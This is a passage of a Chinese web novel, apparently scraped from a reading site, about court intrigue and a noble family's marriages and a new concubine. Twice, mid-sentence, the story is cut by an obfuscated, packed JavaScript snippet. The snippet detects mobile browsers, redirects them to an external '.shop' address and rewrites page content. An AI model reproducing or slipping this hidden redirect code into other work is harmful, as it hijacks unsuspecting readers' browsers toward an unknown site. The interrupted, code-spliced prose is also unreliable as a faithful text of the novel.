“与酒过了这些天,心里好受了?”端木萌出声讽道,“说罢,又做了什么事,站在前面大半天不敢回来?” 师霖愣了愣,抬头看着她的眼睛,良久,斟酌着开口道:“有个人......明日要来见你。” “侧室,妾,还是外室?又或者是平妻?”端木萌道。 师霖讶然。 “你......知道了?” “你我之间自内到外没有什么不好直言的,猜也猜到了。”端木萌没有抬头,话意中却似藏着冷笑。 师霖亦低下头去,缓缓开口:“两个月前,我有一次酒醉宿在了外面......她是酒楼老板的女儿,我——前些日子那老板找到我,说是她......有了身孕。” “呵。”端木萌冷笑出声,抬头看向他垂下去的还沾着水的发丝,道:“你怕什么,我嫁给你时又没说你不能纳妾。虽说师家你们兄弟几人都只一双夫妻美名在外,但说到底,也是你那大哥二哥都走得早,你和四叔又年轻罢了。”又忍不住还是叹了口气:“也罢。既要纳妾,你且自去弄了正经文书。这些日子仓促,便叫她跟着去逢州,到了那边再正式进门罢。” 端木萌如此一口气地说着,而后便转过身去,吸了口气,轻声道:“我有些乏了,你今晚......” “我去书房睡。” 车队途径榷县时停下修整,婷欢也带着棠欢下了车,坐到驿道旁树荫下的石头上。 师迟和师言骑着马走了好远又兜回来,将马交给成伯他们带去吃草修整,自己拿着水壶在姐妹们身旁席地而坐。 师言仰头喝了一口水润嗓,棠欢看见他水壶上的挂件,伸着手去拿,道:“四哥,你这个挂件倒好看,不像是京城的东西,你是哪里来的?” 师言把挂件拽下来递给棠欢,道:“二姐送我的,好像是皇后娘娘赏给她的陪嫁里头的,似乎是先前女真那位娘娘带过来的东西。二姐姐没有给你么?” “二姐姐给我的是一个玉壶吊坠,不是这种。”棠欢拿在手里把玩了一会儿,就觉得也没有什么意思,又把师言的水壶要来给他系了回去,又奇道:“说起来姑姑给大姐姐二姐姐一起赐了婚,为何给大姐姐赏赐的陪嫁里面没有这些玩意儿?” “因为大姐嫁的是心爱之人,二姐要嫁的是岳家那个呆子。”师迟嗤道。 “那为什么姑姑会让二姐嫁给他?” 师迟和师言愣了愣,对视了一眼,又一齐看向一直沉默不语的师婷欢。师婷欢的眼神阴翳了一瞬,却似乎没有听见似的,只道:“已经定下来的事,多说无益。”又状似玩笑道:“你们这般会编排别人,倒不知你们做人丈夫时又是何模样。” 此番离京前,除了应对随着赐婚之喜而来的种种仪式与应酬,端木萌还顺便将几个较年长的孩子的亲事也敲定了下来。师焕的亲事,萧晨去世前曾做了安排,只是彼时为时尚早,恐生变动,便仔细选了几个人选出来,交代端木萌留意着。师焕是长房长子,其妇日后将担起宗妇的重担,必得慎之又慎。多方考量与商议后,最终定了归县言氏的长房次女言晓风。 言氏是归县的望族,书香传世,治家严谨,祖上做到过太子少保,而今家中子弟大多在地方为官或治学,在京中为官的只有言晓风的父亲、太中大夫言陵一人。 师迟则由端木萌一手操办,定了端明殿大学士步远的女儿步成安。这姑娘性子肖似年轻时候的端木萌,虽然家中父兄都是文士却跟着习武的舅舅自小扮作男装走南闯北,十岁上回了京,仍喜扮作男子戴着面具骑马游街,全然是“银鞍照白马,飒沓如流星”的少年将军般模样,引得一群不明就里的闺秀对传说中的“将军公子”青睐有加。 定下这门亲事前师迟却也只是有所听闻,然而知道了那“将军公子”竟是自己未婚妻子时却是暴跳如雷,将人约到郊外马场比试了一番,再归家时入坠蜜罐,但凡有人在他面前提起“将军公子”或是“步姑娘”,便是如现在师婷欢所见的这副脸红到耳朵根的样子。 此外,便是师玘与官成澈的小女儿官闻霰定了亲。这桩婚事顺利得很,原是端木婉与官成澈的夫人姜舜在景安和岳添的定亲宴上闲聊间一拍而合。师玘与官闻霰两人从前也见过,两位母亲回家一问,也都没有异议,便就此定下了婚事。 至于师玘先于姐姐师莞安定亲一事,原是师莞安拼死说自己未找到心上人前绝对不“将一辈子的姻缘草草了事”,端木婉也纵着她,便不了了之了。 这般说起来,师婷欢倒对着师言发起了愁:“你与玘哥儿就差了不到两个月的年纪,倒不知道你的姻缘在哪里。” 师言只道:“比起岳家表哥,我这年岁还是不需要着急的。”他望了望车队末尾,问师婷欢道:“方才我和二哥走在后面时,瞧见四妹妹和五妹妹的马车后面还有一辆马车,里面坐的是谁?” 师婷欢望后瞟了一眼,冷声道:“到了逢州,我们几个就该称那人一声‘姨娘’。” “姨娘?”师迟和师言异口同声问道。 师棠欢也攀着姐姐的肩,问道:“什么是姨娘?我听过苏大姐姐管苏三姐姐的娘叫姨娘,是一个姨娘吗?” 师婷欢有些哭笑不得,看了眼端木萌的马车,叹道:“你们知道了就罢了,切莫多说。娘面儿上一副无所谓的样子,如今正心烦呢。至于到了逢州后如何,且再看就是了。” 是夜,静姝阁内烛光幽暗。层层叠叠的月白帘幔挽着清冷的春风,滞涩一室光影。 师冉月穿着素服,眸光越过层层纱幔和屏风,只瞧见一个朦胧羸弱的消瘦身影,面朝里侧躺在榻上。不晓得她是否睡下,听不见哭声,却能想知她的枕上被上积起的斑斑泪痕。 师冉月默默站了一会儿,不作声响,转身出了阁门。 院中蒋纹、赵玉熹和江映三人皆穿着素白色衣裳,并排立着,见她出来,纷纷恭身行礼。师冉月只摆了摆手阻止她们出声,不曾停下脚步,也不多言,独自一人越走越快,直至清和殿。 清和殿依旧昏暗,甚至几乎连一丝人气儿都没有。 烟水和近黛都不在,唯有薄枝和栖洲守在殿门口。师冉月叹气道:“陛下呢?” “禀娘娘,陛下下午喝醉了酒,睡了一会儿,方才醒了便说要出去转转,不许人跟着。” “近黛呢?” “近黛姑姑不在京中。” 师冉月便也不管她们,自己进了清和殿,借着仍燃着的一点微弱烛光,看见桌案上摊开着《诗经》、《楚辞》并其余基本古籍,旁边还有一张纸上工整写着几个寓意上佳的字。 奏疏则一并被放在边角,似是有人专门整理过,却被弃置一旁,已经落了好几日的灰。 复景年间,休养生息,而后用兵平叛,似乎一切平定,而能平安康乐,故而改元。 然则事实却是用政过激,兵乱扰民,比起大化年间虽有所安定,却收效甚微。 这个原本似乎并不该属于他们的王朝真真正正是大厦将倾,似乎已经到了端木玄亦心死,渐渐听之任之的无可挽回的地步了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226168|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师冉月突然有些鼻酸,自己却不知是为了什么。她背过身去深吸了几口气,再环顾四周,偌大的正殿比起当年密室般的楚王府书房还要清冷幽暗几分。 端木玄不大喜欢原先这宫里伺候的人,因此除了岑嘱全一个掌事太监,余下能在这殿内近身侍奉的都是影卫中人,确如影子一般悄无声息。 罗幕和香径才赶到这殿外来,微微喘着气,站在门外道:“娘娘,陛下在坤宁殿,似乎有些醉了,一定要亲自哄二公主入睡,公主哭闹不止,怎么也哄不好。陛下还叫人让合月姑姑将太子殿下也领了去——您还是快回去看看罢!” 师冉月登时觉得眼前一黑,手指按住桌角,稳了稳身形,定神往坤宁殿回。 坤宁殿果然正灯火通明。 端木汐幼小却洪亮的哭声无序地扰动着每一个人的心神,只有端木玄执着地抱着她哄着她,异常地耐心且慈爱。闻见周围宫人向师冉月行礼的声响,他亦未曾抬头,直到她走到他的身旁,微凉的手指抚上他的手,慢慢握紧,像是水生的藤蔓。 端木玄僵直着身体,不作声响。 师冉月轻叹着,开口时嗓音竟黏腻着,还带着些哭腔,于是只是轻唤了一声“陛下”便失了声,短促的像是飞在空中的大雁被骤然射中咽喉的箭矢打断了长鸣。她又扭过头去,不知过了多久,低着头转过身来,沉声道:“天晚了,明日还有早朝,陛下早些歇息罢。” 说着,又令木莲不顾端木玄反应,直接将端木汐抱离了他的怀中,快步离开了正殿。合月得了她的首肯,也拉着频频回头的端木玦离开了坤宁殿。 端木玄仍保持着半抱着襁褓的姿势,眼睛直愣愣的,活像痴傻了。 音儿瞧着二人的样子,心中长叹,用眼神屏退殿中余下众人,与岑嘱全一道缓缓闭紧了沉重的殿门。 烛光摇晃了一瞬。 师冉月吸了吸气,尽力冷声道:“不过是失了一个妃嫔生的孩子......陛下向来也不大看重子嗣,做出这般样子,是为了给谁看?”她目光轻轻落到一旁,屏着气,又道:“你根本就不难过,期待也是装出来的,如今这般疯魔也是装出来的——你怕人说你做人父亲也冷心冷肺......你——” “别说了!”端木玄转身,声音尖促。“......师冉月,你又何必——” 何必说出口呢,何必打破原本的默契呢。 师冉月猛然惊醒般止住话,却莫名觉得有些爽快,甚至还有些意犹未尽,可却鼻酸着控制不住地让泪水盛满了双眼。 她觉得他们都疯了。 满室烛火的灯影凝固在暗金的纱幔上,连外面的树影都似窗纱的印画,滞涩在幽暗的春夜里。两人半身背对着,各自低着头,似是两座失了神智的雕像,更似是台前被剥下精致面皮而无措遮羞的优伶。 偏似恰赶在此时,岑嘱全在殿外拔高了略有些颤抖的声音,道“陛下,娘娘,贤妃娘娘在殿外求见!” 端木玄骤然放松了表情,甩了甩手臂,沉声教她进来。师冉月却急促地回转过身,背对着殿门,低首擦了擦眼角,才在那人的裙裾扫过门槛的那一刻回转过身,摆出一点平和的神态。 徐聆雨像一束开在夜里的花,摇曳着飘进殿里,没有注意到尚未散去的满室狼藉,眼角眉梢都带着笑意,悠悠行礼道:“臣妾来向陛下和娘娘道喜——凤宁阁的孙才人有喜了。” 师冉月微微愣神,瞟了一眼端木玄,匆匆开口道:“是吗......孙才人现在可还好?” “孙才人如今好着呢。孙才人的胎已三月有余,如今已然稳妥,臣妾才敢来向陛下和娘娘禀报。说来臣妾也想替她向陛下和娘娘讨个封赏,有您二位福泽庇佑,也好保佑皇嗣顺利降生。” 徐聆雨眼角点着玫红色的脂粉,在白净的脸上似是绽开一朵曼陀罗。师冉月闭开她的视线,只低下头,盯着自己与端木玄并排交叠的衣角,未置一词。 “传朕旨意,才人孙氏有喜,赐玉如意一柄,福禄香囊一对,赏金五十两......才人俞氏诞育皇嗣有功,晋位充仪,以示抚慰。” “臣妾领旨。” 54. 第 54 章 “我就知道你会来。” 林绵淡淡笑着,将师冉月迎入殿内,直接教她坐在自己榻上。宫人端来热姜茶,又点上安神的香,便轻声退下。 师冉月笑得有些恍惚:“更深露重,绵姐姐怎么还没休息?”方才时近四更,她踱步至辰阳殿,竟见满殿虽听不见什么声响,却灯火通明,一时竟有些好笑的惊骇。 “听说了今晚的事,我便猜到夜间有客来访,特意恭候。”林绵握住她的手。 师冉月笑了笑:“也罢,左右明日有什么事与你我也无甚关系,大不了便通宵一晚也无妨。” “通宵不通宵的,将心中的话说出来了,日后才能睡得好。我听说陛下晋了俞氏的位分,以表抚慰......后宫中幼子夭折原也是常事,哀痛便罢,只要不心死,便有来日了。” “夭折......我今日特意问了太医,都说是俞氏年少孕子,先天不足,能顺利生产已是难事。三皇子天生孱弱,甚至出生时便差点窒息而死,如今夭折也是平常。” “太医医案日日记载,到不会有什么错。”林绵叹道,“你是疑心三皇子是遭人陷害?” “那倒也没有。”师冉月摇了摇头,“太医说的这些,我原本也知道,只是今日听了俞氏哭诉,实在是一番慈母之心,她又尚且年少......我便心存不忍罢了。”她又叹了一声,又道:“我原本到清和殿去,就是想寻陛下做些什么,能多少安慰俞氏一番。毕竟陛下已有两子两女,人又正值中年,后宫中嫔妃亦是年轻,来日必也不缺子女,而这却是俞氏第一个孩子。谁承想——” 他竟突地疯魔了,她竟也跟着痴痴傻傻说出那般话来。 林绵叹道:“他的确不算是个称职的父亲,兴许是因为什么事而有所悔过,却碰上幼子夭折,一时崩溃也是有的。我听闻前朝近来似乎也有些不顺......不过此时孙氏有喜,兴许能教他宽慰些罢。” 说及孙氏,师冉月倒是愈发皱起眉来,便向林绵叙说了她回到坤宁殿前后之事,略去她与端木玄那些疯话不谈,道:“徐贤妃这回倒蹊跷。先前就连端木胭丧子时她还对我叹惋不已,这会儿却似没事儿人一般,赶在此时向陛下说那孙氏怀孕一事,不知是为了宽慰陛下还是为了什么。” 林绵摇头叹道:“她这个人,打从一过府我便有些摸不清。不过我倒是觉得前些日子俞氏的母亲和嫂子进宫来看望她时,徐氏的神情便有些不对,也许是触景生情,心态也跟着变了罢。”说着,又嘲讽般笑道:“毕竟她不似你,有兄嫂时时支撑依靠,也不似我全没个父母亲人,也没有什么念想。她家中父亲和兄嫂远在天边,指仗着她复兴昌留郡王府,又不能教她依托,似乎也不大亲近......她哪怕全然是为了自己谋划些什么倒也正常。” 昌留郡王府本就是因着徐聆雨的祖母也即武帝姑母昌留大长公主身上的恩典才兴盛起来的,徐氏其余几房早就没落不堪,依靠着微薄的田产和典当度日。昌留郡王府这些年靠着点食邑和宫中的恩惠赏赐勉强维持着昔日宗亲的一点面子,也是入不敷出。 郡王徐演早年好色酗酒,如今五十出头已是缠绵病榻。长子也即徐聆雨的兄长徐策资质平平,也不思功名。世子夫人梁婳倒是精明些,却也无力挽救。二人膝下仅有个八岁的儿子徐传业,之后再未有儿女,也算子嗣单薄。 徐聆雨的妹妹徐酌雨倒是招婿在家,可惜她的夫婿孟继性情急躁,空有进取之心而无能平庸,也不算什么良善之辈。 算起来全家甚至徐氏另外几房,的确只靠着徐聆雨一人的恩典支撑。徐聆雨想顾及他们也罢,自己脱身向上求索也罢,林绵倒觉得都很合理。 师冉月叹道:“罢了,事已至此。我如今只是不晓得日后该如何面对陛下,今日也不知道为何就说出那样的话来。”她捂着脸,悻悻道:“兴许我的确看不惯他装模作样地安慰自己,所以想激他一激,又或者是,看不惯他那般疯魔痴傻、自暴自弃的样子......夫妻做成这个样子,也是千古头一遭罢。” 长夜漫漫,清和殿亦是孤灯长明。 天将破晓之际,烟水端了一碗热粥进来,将粥放在端木玄身前的小几上,又默默将散落在地的酒盅和纸笔收拾整齐,方轻声道:“该上朝了,陛下。” 端木玄恹恹抬眸,瞥了她一眼,晃晃悠悠地起身。 岑嘱全侯在殿门旁,眯眼观察着,与烟水遥遥对视上,才放下悬着的心。殿外等候的宫人这才敢鱼贯而入,侍奉端木玄洗漱更衣。 烟水在众人身后,不作声响地退出到殿外,站在岑嘱全身旁。岑嘱全叹道:“今日可是多亏了姑姑您呐。不过看着这时辰,今日陛下上朝恐怕又要迟些时候了。” “迟些也比不去的好。”烟水道。 二人沉默立着,也不知过了多久,端木玄收拾整齐,抬步迈出,又看了烟水一眼,开口时嗓音沙哑,道:“晚些时候你去坤宁殿,问问皇后南巡一事。她想怎么做便由她去,你看着安排。” “是。” 他又扭了扭头,看了岑嘱全一眼,岑嘱全了然带着余下诸人退到一旁。端木玄这才又问道:“近黛何时回来?” “绛县冰排,恐怕还要耽搁几日。”烟水答道,“这几日属下会吩咐薄枝和栖洲仔细侍候。” “也罢,传信过去叫她顺便走一趟觅县。薄枝留下......叫栖洲去一趟江州和厝州罢。” “明白。” 端木玄站在原地,眯着眼抬头望了望逐渐亮起来的天幕,觉得有些头晕目眩,又低头缓了缓,想到一会儿上朝那些人又要参些什么,顿时又是一阵头疼。 他抬手揉了揉太阳穴,暗自深吸了一口气,便拔腿快步向崇政殿去。 “今日除去觅县与绛县冰排一事和江淮春旱,其余不必多讲。” 刘晦遂率先奏道:“启禀陛下,觅、绛两地地处大河北流河段沿岸,冰排本是例年春日常事。今年堤防不牢,以致两地汛灾,所幸抢救及时,危害不大,臣以为当尽快调任熟知水利的官员赴当地修改堤防,赈济灾民,尽快恢复春播,才好不误农时生产。” “刘卿可有人选推荐?” “侍郎卢季驯曾两度治理大河决口,又曾在觅县任职,臣以为是不二人选。” 端木玄点头道:“那便有劳卢卿再到觅县走一趟了。” “臣定不负陛下所 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吴称只转身如常往外走,道:“三皇子夭折,陛下伤心难过,精神不济也很正常。” 瞧着他不大愿意说,赵妥便又放慢了脚步,与官成澈比肩,道:“仲祈啊,马上就是春闱,今年安大人也退了,可有的你忙活了。” 官成澈微笑道:“无妨,春闱有高兄主持。”官成澈方升任礼部尚书时,便请奏推荐国子祭酒高阶为礼部侍郎,国子监正韩圭则补上他的缺升任祭酒。 高阶今年整五十岁,资历深厚,人也持重老成,不仅先前曾在慕州任通判,与慕州一党众人交好,又在国子监任职多年,比起官成澈在学子中倒更有几分威信。年初官成潜外调任兖州牧,唯一嘱咐弟弟的便是此事。如今赶在三皇子夭折前批下了此事,官成澈简直有种无事一身轻的放松。 赵妥这半个月却是多白了好几根头发。本来今年便轮上地方官员调任述职,没几个月等礼部放完榜便是吏部铨选,更是忙上加忙。先前递上去的折子因着三皇子夭折磋磨了快一个月还没有动静,今日端木玄更是一坐下就只许谈冰排和春旱一事——冰排与春旱虽也要紧,但火烧不到他头上,如今他就很难共情。 官成澈看着他呵呵笑道:“赵大人也不必太着急,我听闻付大人昨日已经连着上了六个折子请求奏对。陛下晓得你们辛苦,来日就算出了什么岔子想来也不会太怪罪。” 提起礼部侍郎付储,赵妥更是头疼。付储那是举朝闻名的一根筋,如今已经快六十了,仍旧精神矍铄,一言不合就要求奏对,也不肯听他的劝。头疼复头疼,赵妥一甩袖子,道:“罢了,我也去请奏对!” 别管端木玄烦也不烦,先将吏部的事敲定再说。 官成澈装模作样地捋了捋才留没多久的胡须,暗叹若是师霖还在朝中,这些事原没有这般麻烦。如今吴称算是代了师霖的位子,然而“旧党”这些人却不大听他的,他自己也只肯中立以躲是非,是按端木玄喜好行事,实在令人无语。 “哎,罢了罢了。”他长叹一声,揣揣袖子,想着今日既早,不如到前街去买块肥瘦相间的炙猪肉回家与夫人吃,又或者是到白矾楼来两壶烧酒并几个水晶包子呢? 55.第 55 章 逢州的宅子翻了新,原先的四进宅子扩大了一些,将从前师冉月与师吟月的院落也扩了进来。碧痕巷西原先一处乡绅搬了家,师家便将他的宅邸也买了过来,扩为花园。 端木婉直接选了那花园旁原先师冉月的院子改建的一处小院落,只一间正房并两间耳房,加上一大片竹篱分割的菜畦。婷欢、景安与莞安都住在与之相邻的一处院子中。 一进的院子分给几个哥儿住,另作书房;二进的正房自然归了师霖和端木萌,只有棠欢一人随父母同住,新过门的妾室陈明月便住在侧面的厢房里,因着有了身孕,加上不算什么喜事,过门的事也是简简单单敬了个茶便算了了。然而隔几日便有郎中上门请脉,丫鬟端着一碗碗安胎药进进出出,端木萌瞧着颇为心烦,干脆借着方回逢州要看看庄子里的情况的由子也跑去了庄子里住。师霖一人呆着不自在,便也随口找了个托词去了沉州。 三进的宅子原本该归师骁和张雁,然而师骁须得卧床静养,便择了第四进的院子。幼芷和幼桐两个则住进了三进的厢房。三进院子里有一处偏门正通婷欢她们那处院落,几个姑娘们在一处倒也和乐。 岳诗韫辞了原先为她备好的院落,似乎也不大在意儿子的伤病,只与锦姨两人相伴相携住到了庄子里去,不见外客。 “我怎么觉得来了逢州,这院子明明小了许多,却比在京城的时候清冷了?”师莞安往窗外张望了一阵,仍旧无聊,缩回身子坐到师景安对面,无聊地转着墨锭瞎研着墨,“六妹妹也跟着三婶婶去庄子里了,兄弟们又都在前头,这日子真是无聊。” 景安笑了笑,并不抬头,只继续绣着手上的活,道:“听说明日三婶婶要回来,与娘一道去景家拜访,到时候你可以随着一同去,想必会有些意思。” 如今婷欢和景安两个都定了亲待嫁,轻易是不好出门的。张雁日日照顾着师骁,虽然郎中早说过没有什么大碍——她自己懂医术,原也清楚,但还是说不能离人,只一门心思把自己也圈在院子里不肯出门。 “还有过些日子安南郡主过寿,端木氏的宗亲戚里也有好些要来逢州,彼时与你年纪相近的大概也会有几个,便热闹了。”师婷欢也凑在景安房里理着因为路上颠簸不小心弄乱的绣线,一绺一绺按颜色材质放好,也不教别人帮忙,只当打发时间了。她们两个都不打算自己绣嫁衣,如今正是难得的闲着没事儿干的时候。 “说起来,大姐姐......”莞安道,“那位陈姨娘——” 师婷欢叹了口气,半晌才道:“原也不与她相干,是我爹爹的错。只是我们心里介意,过不去这个坎儿。” 师景安却道:“她是个可怜的,落到咱们家来。不过我们自小去别人家里,家中纳妾的不在少数,甚至不少都是妻妾成群,只咱家一个才是与众不同的。与我们相交的姑娘中也有些是庶出,不也没什么。” “在别人家没什么,在自己家总是不同的。”师婷欢叹道,“若是打从一开始,我爹爹就有这么一房妾室,那也罢了。” 景安却道:“我原先听岳太夫人说,当年祖父也是有一房妾室的,姓崔,后来祖父去世,祖母便作主给了她些钱财叫她归家了。” 莞安道:“你是说叫三婶婶也送陈姨娘些钱财,将她送到别处安置?” “那终究是不一样的。”婷欢摇头叹道,“崔姨娘年轻,又没有亲生的孩子,彼时祖父又去世了。”她看着手里因为心烦越理越乱的丝线,干脆将它们一股脑摔在案上,走下地来自己倒了碗茶喝,来回走了两步,竟道:“我倒不晓得我娘打算怎么办,她说得容易,心里是万万不可能叫陈姨娘和她所生的孩子一直跟在身边的。” 景安低头绣着手上的大雁,暗自思忖着,并不作声。 莞安却问道:“那若是,将来大姐夫和二姐夫要纳妾,你们该当如何?” 婷欢沉吟了一会儿,道:“我娘如何,我便如何。” 景安却轻笑了一声,道:“姑姑如何,我便如何。” 迎着婷欢和莞安瞪大的不解的眼睛,景安仍旧勾着嘴角道:“我嫁的又不是那点子夫妻之间的情意,不过是,两家联姻,你来我往罢了。他纳不纳妾,与我何干?我只要妾室不僭越,庶子老实本分,那便没有什么关系。” 逢州的清早常常是带着雾气的,或浓或淡,只等着稍后乍然豁开云雾的朝阳或是加重雾气的濛濛细雨,决定今日的鞋袜是干是潮。 马车一路淋着细雨停在师家门前,车轮带来两条细长的泥印。师棠欢提着裙摆刚要往下蹦,便被随行的嬷嬷举着腋下抱了下来,稳稳地放到门前的石阶上,口中止不住地唠叨。 端木萌在她身后慢悠悠地由人扶着下了马车,苔色的新鞋轻沾了一点泥水。她皱了皱眉,抬头看见女儿与嬷嬷做鬼脸的样子又忍不住一笑,旋即伸手牵住女儿进了门,却直直略过自己的院落,径直往端木婉的小院走去。 “哟,回来了。”端木婉还坐在镜前描眉,瞥见她进门忍不住调侃,腾出手来摸了摸凑到身前的棠欢的小脸,笑道:“这么早回来,也不嫌折腾,连累我们棠儿跟着你早起。” “是她想和莞姐儿一道走,不然我们便直接去景家等你们了。”端木萌笑道,“景大人这回调回来,咱们倒是也方便了不少。” 端木婉道:“但愿他下一任去沉州。玘哥儿前两天去沉州一趟回来还有我说,咱们家在沉州置的那些产业远不比逢州,那太守是个奸猾的,两头套利,又两头都不肯多得罪,实在难缠,还是找一个咱们知心的安排过去才好。” “沉州的产业才置起来十来年,哪里能跟逢州相比。”端木萌道。 逢州这些产业都是祖宗基业,林林总总加起来能买下半个皇城。早年比如今还显赫,自从师道旷进京为官又开始以府卫名义培养私兵后,怕太打眼,才开始有意隐藏。承祐十几年的时候京城的产业受损,逢州可是基本未受影响。 “娘,三婶,你们看,我穿这条裙子怎么样?” 师莞安从隔壁冲过来,身上穿着一袭新裁的梅子绿的襦裙,上面还坠着半见色的薄纱,腰间是三色软绸编织坠着银珠的束腰,领口和袖口都用同色系的丝线绣着青梅和丁香花的纹样。 端木婉点了点头:“这衣裳瞧着别致,倒也衬你。”又笑道:“不过是晏夫人请我们过府小聚,也不是什么重要的场合,瞧着你竟这样看重。” 师景安跟在后面进来,笑道:“妹妹是来逢州后在家中憋坏了,好容易出一次门。这条裙子也是过年的时候就裁好了,一直没机会上身呢。” “原来是这条。我记得过年时还拿来一条桃红的?” “那条裙子我要待过几日安南郡主过寿时穿。” “你倒是安排得明白。”端木婉失笑,又左右瞧了眼自己两边鬓发,便起身道:“走吧,时辰也不早了。” 一行人便又穿过重重院落,上了马车。为着方便路上闲聊,端木萌与端木婉便共乘前面一辆,莞安与棠欢由嬷嬷跟随着坐后面一辆。 棠欢可是被莞安的裙子激起了兴趣,拉着她左看右看,琢磨着自己也要一条一样的。莞安只好哄她身量还小,做出来也不好看,待过两年她再高些,必将裙子的样式连同绣样都送给她。 “兴许到那时候,你还不喜欢这样的裙子了呢。” “不会的不会的。好姐姐,你既然答应了我,可不要忘了。” “忘不了,忘不了。” 到了景府,晏夫人已经带着家中的三个女儿迎在门前。 算起来自当年师家离开逢州向慕州去后,这十余年两家女眷竟未曾再见,只偶尔书信联络着,却也觉得亲切异常,端木萌和端木婉见了晏梅兮,也觉得似乎是同族的妯娌甚至同宗的姐妹一般,当即挽着手寒暄着进了门。 景家的三个女儿中,稍大的两个都是庶出的,只一个比棠欢还小上一岁的是晏夫人亲生的,唤作景璎。 年纪最长的一个还有半年便及笄了,名叫景珀;另一个才刚十一岁,名唤景琼。 几个姑娘也互相见了礼,彼此才刚见面,也很生疏,个个儿都摆出一副羞涩内敛的模样,跟在晏夫人她们身后一齐到了堂上,依次坐下,喝了碗茶,便被晏夫人教景珀领着自去后花园中玩。 “这些年我随着我家大人于各地赴任,也未曾得空进京。听闻府上四老爷病了,近来可有好转?” 端木萌摇了摇头:“原是在边关时受的伤,医治的不及时,回京时就已不大好了。如今也快一年过去,也不大能行走,人也没精神。” 晏梅兮感慨道:“战场上刀剑不长眼,这也是没法子的事。只是可惜了四老爷。我记得那年在逢州时还是一派气宇轩昂、意气风发的模样。” 端木萌低头喝了口茶,抿了抿嘴,道:“我记得晏夫人你年轻时也是能舞剑的。” 晏梅兮笑了笑:“殿下也说了,那都是年轻时的事了。这些年不练,恐怕练剑都提不起来了。” 端木婉道:“哪里,我瞧着你比我气色就好上许多,人瞧着也年轻。我记得你还虚长我一岁呢。” “郡主说笑了。”晏梅兮笑道。又提到市舶司一事,道:“先前侯爷嘱咐我家大人帮着蒋大人运作,好歹将泉郡的关系疏通了,只是上头给定的银钱总是不能及时拨下来,或是缺斤少两的。蒋大人设法筹了些资,好容易使船开动了,与几个往来频繁的外邦使臣也签下了条约。可眼见着那番邦的商货是源源不断运过来了,咱们这边却迟迟不能开放私商出口。国朝的商户大多是零零散散的,一时半会儿也集合不起来。年后蒋大人送我家大人调任时还为此事发愁。听闻去年下半年送上去的文书总是不见批复,可是京中出了什么事?” “原不是什么大事,只是俞充仪生的三皇子夭折了,陛下有些心绪不宁,因此朝政怠慢了些。”端木萌淡然道,“市舶司一事,连同北边的互市,我倒也听侯爷说了......总不过是个样子,只是委屈那位小蒋大人一介人才了,该早调回京师去的好。” 端木婉听见“朝政怠慢”,侧首睨了她一眼,又看了眼晏夫人,便只是低头喝茶。 晏梅兮没仔细听端木萌的用词,只是眼珠一转,又叹道:“也是,京中总还是安稳些。如今地方上总是不宁,不说天灾,匪患也总是一波未平一波又起的。我们自泉郡回逢州来,路上也见到好些流民。” “我们自京城过来也是。京畿虽无匪患,但流民却是很多,这也不是近几年的事,承祐年间就已经流民成患了,这些年也只是或多或少的,未曾止住罢了。” “这也是没法子的事,若是能自己谋生,谁甘心拖家带口背井离乡,靠着别人施舍过活呢。不说农人,连漕帮近来似乎都没生意可做,走掉了不少人。” “漕帮?” “是啊,如今运货,只说没人手罢了。” “水路上还好罢?” “关卡上一直是老样子,但生意少,寻常商户都是勉强维持,还有好些破产了。单靠官府和我们这些......”晏梅兮看了她们两人一眼,装作失言的样子,话风戛然而止,只掩口不语。 端木萌看她的神态笑道:“这也没什么不好说的。” 晏梅兮也打哈哈般一笑而过,道:“不说这些了,总教人丧气......说起来还未来得及恭喜府上几位公子和姑娘们定亲呢。” “婷儿和景儿赐婚时,我们已收到你们的贺礼了。咱们两家,倒不必这般客气。” “那是皇后娘娘赐婚,天下皆知,按例也要随礼。不能当面道贺,我总觉得过意不去。好在随后便听说你们要回逢州来,这才给了我机会。”她笑道,“别的是些金银俗物,倒也不提了,只这些平安符和八宝手串是我亲自到寺中求来的,只图一个吉祥。” 丫鬟将一盘的平安符和手串呈了上来,端木萌和端木婉看了,直叹她用心,又道:“说起来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230362|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们府上的几位公子姑娘,年岁也差不多了罢?可有定了人家?” “还没定呢。我家里这几个孩子,年纪最长的便是你们方才见的那个珀儿,其余的年纪都还尚小呢。” “大姑娘瞧着是个可人,年岁也不算小了,你和景大人可有意定的人家了?” “还没呢。她是个懂事齐整的,只可惜是个庶出的女儿,生母前些年在泉郡时又病逝了。我们原想着她若有倾心的人,我们便成全她了,可百般问她,她也只说没有。”晏梅兮说起此事,神情有几分不耐。一个庶出的长女,不上不下的,若是想做正妻,对方的家世恐怕就得差一些。可若是叫家中女儿做人家的侧室,那她简直想都不敢想。何况作为家中第一个谈婚论嫁的孩子,她的姻缘不说影响弟弟们,对妹妹们却是很要紧的。稍有不慎叫人家看轻了,以后家中其他女儿也不好婚嫁了。 景珀本人却不似嫡母考虑的这般多。 她自小被生母教导的首要一条便是隐忍。无论何时,无论何事,只要听从父亲和嫡母就好。 她坐在凉亭边上,看着师莞安和景琼很快熟络起来,一同坐在石阶上翻花绳;不远处师棠欢和景璎正围着家中的狸猫逗弄,两个粉雕玉琢的、水蜜桃般的小姑娘围着一只皮毛光亮憨态可掬的狸奴,实在喜人。 